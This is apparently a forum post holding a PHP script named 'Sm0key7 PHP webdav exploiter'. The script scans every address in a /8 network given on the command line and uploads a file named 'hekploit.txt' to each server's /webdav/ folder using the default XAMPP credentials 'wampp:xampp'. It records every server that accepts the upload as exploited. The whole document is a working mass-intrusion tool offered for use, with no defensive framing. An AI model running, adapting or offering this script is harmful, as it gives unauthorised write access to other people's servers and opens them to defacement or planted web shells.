PHP PHP webdav exploiter - Printable Version

PHP Code


<?php
/*
* Sm0key7 PHP webdav exploiter
*/
error_reporting(0);
set_time_limit(0);
$start = $argv[1];
$ch = array();
$mh = curl_multi_init();
$working = $start.".255.255.255";
$lot=0;
$ex=0;
for($a=0;$a<=255;$a++) {
    for($b=0;$b<=255;$b++) {
        $mh = curl_multi_init();
        for($c=0;$c<=255;$c++) {
            $credentials = array(
                'wampp',
                'xampp'
            );
            $file = 'hekploit.txt';
            $filesize = filesize($file);
            $fh = fopen($file, 'r');
            $remoteUrl = "http://".$start.".".$a.".".$b.".".$c."/webdav/";
            $ch[$c] = curl_init($remoteUrl . $file);
            curl_setopt($ch[$c], CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch[$c], CURLOPT_HTTPAUTH, CURLAUTH_ANY);
            curl_setopt($ch[$c], CURLOPT_USERPWD, implode(':', $credentials));
            curl_setopt($ch[$c], CURLOPT_PUT, true);
            curl_setopt($ch[$c], CURLOPT_INFILE, $fh);
            curl_setopt($ch[$c], CURLOPT_INFILESIZE, $filesize);
            curl_setopt($ch[$c], CURLOPT_CONNECTTIMEOUT, 20); 
            curl_setopt($ch[$c], CURLOPT_TIMEOUT, 20);
            curl_multi_add_handle($mh,$ch[$c]);
        }
        $active = null;
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);

        while ($active && $mrc == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $mrc = curl_multi_exec($mh, $active);
                } while ($mrc == CURLM_CALL_MULTI_PERFORM);
            }
        }
        echo "Working on: ".$start.".".$a.".".$b.".255 - ".$working."\nStats:\n\nTime:".date("d-m-Y H:i:s", time())."\nScanned:".$lot."\nExploided:".$ex."\n\n\n\n\n\n\n\n\n\n";
        for($i=0;$i<=255;$i++) {
            $info = curl_getinfo($ch[$i], CURLINFO_HTTP_CODE); 
            if ($info==201) {
                    file_put_contents('webdavs.txt', "http://".$start.".".$a.".".$b.".".$i."/webdav/\n", FILE_APPEND);
                    $ex++;
            }
            curl_multi_remove_handle($mh, $ch[$i]);
            $lot++;
        }
        curl_multi_close($mh);
    }
}
?>